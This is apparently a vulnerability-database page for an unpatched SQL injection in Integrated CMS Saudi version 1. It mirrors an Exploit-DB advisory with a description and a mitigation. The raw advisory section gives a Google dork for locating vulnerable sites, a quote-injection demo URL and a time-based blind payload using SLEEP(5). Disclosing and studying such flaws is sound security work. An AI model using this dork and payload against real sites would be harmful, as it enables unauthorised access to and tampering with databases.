Integrated CMS Saudi SQL Injection

vendor:

Integrated CMS Saudi

by:

DSST

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Integrated CMS Saudi

Affected Version From: 1

Affected Version To: 1

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7,GNU/Linux,Windows XP,Windows 8

2020

Integrated CMS Saudi SQL Injection

Integrated CMS Saudi is prone to a SQL injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. An attacker can exploit this vulnerability to manipulate SQL queries by injecting arbitrary SQL code. This may allow the attacker to view sensitive data in the back-end database, modify data, compromise the integrity of the database, execute administration operations on the database and issue commands to the operating system. This vulnerability affects version 1 of Integrated CMS Saudi.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL queries in a way that would allow an attacker to modify the logic of the executed query.

Source

Exploit-DB raw data:

==========================================================================================================
[/]#~Exploit Title : Integrated CMS Saudi SQL Injection
[\]
[/]#~Exploit Author : DSST
[\]
[/]#~Vendor Home Page : in2sol.com
[\]
[/]#~Tested on: Windows 7,GNU/Linux,Windows XP,Windows 8
[\]
[/]#~Google Dork: inurl:itc_develop_category.php?itemid=
[\]
[/]#~Version : 1
[\]
==========================================================================================================
[/]@~Location : /itc_develop_category.php?itemid=[SQL]
[\]
[/]@~Demo 1:http://server/itc_develop_category.php?itemid=10%27
[\]
[\]
[\]@~Exploit-DB Note:
   Type: AND/OR time-based blind
   Title: MySQL > 5.0.11 AND time-based blind
   Payload: itemid=1 AND SLEEP(5)
==========================================================================================================
[/] D!sc0v3r3d by : Mr.Killer , Mr.EpSiLoN
[\]
[/] Greetz: |SILENT -SAJJAD13AND11-CRACK3R-HELL BOY-MR.BAD_JENS
[\]
[/] MEDRIK-HOTON -JJHACKER - GAME OVER !- IRIST-MR.HESAAM-Bl4ck C0d3R
[\]
[/] Explo!ter-Omid.Hacker-_Ali_-Beni_Vanda-D4?Kness 0w1-And All MemberR -|
[\]
==========================================================================================================